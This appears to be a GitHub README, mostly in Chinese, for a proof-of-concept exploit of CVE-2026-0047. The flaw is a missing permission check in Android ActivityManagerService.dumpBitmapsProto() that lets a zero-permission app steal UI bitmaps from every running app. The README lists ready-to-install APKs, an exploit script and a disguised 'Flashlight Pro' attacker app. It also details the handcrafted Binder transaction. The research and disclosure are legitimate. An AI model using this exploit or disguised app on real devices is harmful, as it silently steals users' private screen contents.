mobilehackinglab/CVE-2026-0047-poc
GitHub: mobilehackinglab/CVE-2026-0047-poc
针对Android 16 QPR2 Beta中ActivityManagerService权限检查缺失漏洞(CVE-2026-0047)的概念验证代码,演示如何通过原始Binder事务在零权限、零交互条件下窃取所有运行应用的UI位图。
Stars: 0 | Forks: 0
# CVE-2026-0047:ActivityManagerService 缺少权限检查
**从每个正在运行的应用中窃取位图堆——零权限,零用户交互。**
`ActivityManagerService.dumpBitmapsProto()` 中缺少 `enforceCallingOrSelfPermission(DUMP)` 检查,使得任何已安装的应用都可以从 Android 16 QPR2 Beta (Baklava) 上所有正在运行的进程中窃取 UI 位图。
| | |
|---|---|
| **CVE** | CVE-2026-0047 |
| **严重性** | 严重 — CVSS 8.4 |
| **组件** | `ActivityManagerService.dumpBitmapsProto()` |
| **根本原因** | 缺少权限检查 (CWE-280) |
| **影响** | 任何零权限应用均可窃取所有正在运行应用的 UI 位图 |
| **受影响版本** | Android 16 QPR2 Beta 1–3 (Baklava),补丁级别 < 2026-03-01 |
| **已修复** | [2026 年 3 月 Android 安全公告](https://source.android.com/docs/security/bulletin/2026/2026-03-01) |
## 仓库内容
```
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
```
## 设置测试环境
您需要一台安全补丁级别在 `2026-03-01` 之前的 Android 16 QPR2 Beta (Baklava) 模拟器:
```
# 下载 vulnerable 系统镜像
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# 创建 AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# 启动 emulator
emulator -avd baklava &
# 验证 patch level 为 pre-fix
adb shell getprop ro.build.version.security_patch
# 2026-03-01 之前的任何版本均存在漏洞
```
## 快速开始
### 选项 1:一次性脚本(推荐)
```
# 完整运行:设置 emulator、build、exploit、提取被盗 bitmaps
./exploit.sh --setup-emulator
# 已经有正在运行的 Baklava emulator?
./exploit.sh
# 跳过 build,仅运行 exploit
./exploit.sh --skip-build
```
### 选项 2:预构建 APK
```
# 安装 PoC 应用
adb install apk/cve-2026-0047-poc.apk
# 打开一些应用(Settings、email 等)以显示可见 UI
adb shell am start -n com.android.settings/.Settings
# 启动 PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# 点击 "Exploit dumpBitmapsProto()" 按钮
```
### 选项 3:攻击模拟(“Flashlight Pro”)
```
# 安装伪装的攻击者应用 — 声明 ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# 启动它 — exfiltration 在启动时静默发生
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
```
## 工作原理
1. **原始 Binder 探测** — `activity` 服务上的事务代码 `#117` 映射到 `dumpBitmapsProto()`。不带参数发送它会导致 AMS 内部抛出 `NullPointerException`(而不是 `SecurityException`),这证明方法体在没有任何权限检查的情况下就被执行了。
2. **原始 Binder 利用** — 我们使用 `IBinder.transact()` 将手工构造的 Parcel 直接发送给 AMS。这完全绕过了 Android 的隐藏 API 限制——无需设置 `hidden_api_policy`。该 Parcel 包含:
- Interface token (`android.app.IActivityManager`)
- Non-null 标记 + `ParcelFileDescriptor`(管道写入端)
- 空字符串数组(所有进程)
- `userId = -2` (`USER_CURRENT`)
- `dumpAll = true`
- `format = "png"`
3. **位图提取** — AMS 将包含 PNG 位图的 protobuf 数据写入管道。我们扫描 PNG 魔术字节 (`89 50 4E 47`) 和 IEND 结尾标记来提取单个图像。
### 结果
在打开了“设置”、“时钟”和“文件”的 Baklava 模拟器(`BP41.250725.007`,补丁 `2025-08-05`)上:
- **679,091 字节**的 protobuf 数据
- 从所有正在运行的应用中窃取了 **63 张有效的 PNG 图像**
- PoC 应用声明了**零权限**
## 修复方式
Google 在 `dumpBitmapsProto()` 的第一行添加了 `enforceCallingOrSelfPermission(DUMP)`,因此非特权调用者现在在访问任何数据之前就会抛出 `SecurityException`。
## 参考
- [Android 安全公告 — 2026 年 3 月](https://source.android.com/docs/security/bulletin/2026/2026-03-01)
- [CVE-2026-0047 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-0047)
- [CWE-280:权限不足的不当处理](https://cwe.mitre.org/data/definitions/280.html)
- [博客文章:完整分析与利用演练](https://www.mobilehackingcourse.com/cve-2026-0047-activitymanager-eop/)
## 致谢
研究与 PoC 由 [Mobile Hacking Lab](https://www.mobilehackinglab.com) 完成。我们独立复现了此漏洞,仅用于教育目的。
## 免责声明
此概念验证仅用于**教育和授权安全研究目的**。请仅在您拥有或获得明确授权进行测试的设备和环境中使用。作者不对任何滥用行为承担责任。
标签:ActivityManagerService, Android 16, Android漏洞, Cutter, CVE-2026-0047, CWE-280, JS文件枚举, PoC, QPR2 Beta, UI截图窃取, 云资产清单, 信息泄露, 后台面板检测, 域名枚举, 恶意软件伪装, 数据窃取, 暴力破解, 权限绕过, 目录枚举, 移动安全, 逆向工程, 零权限攻击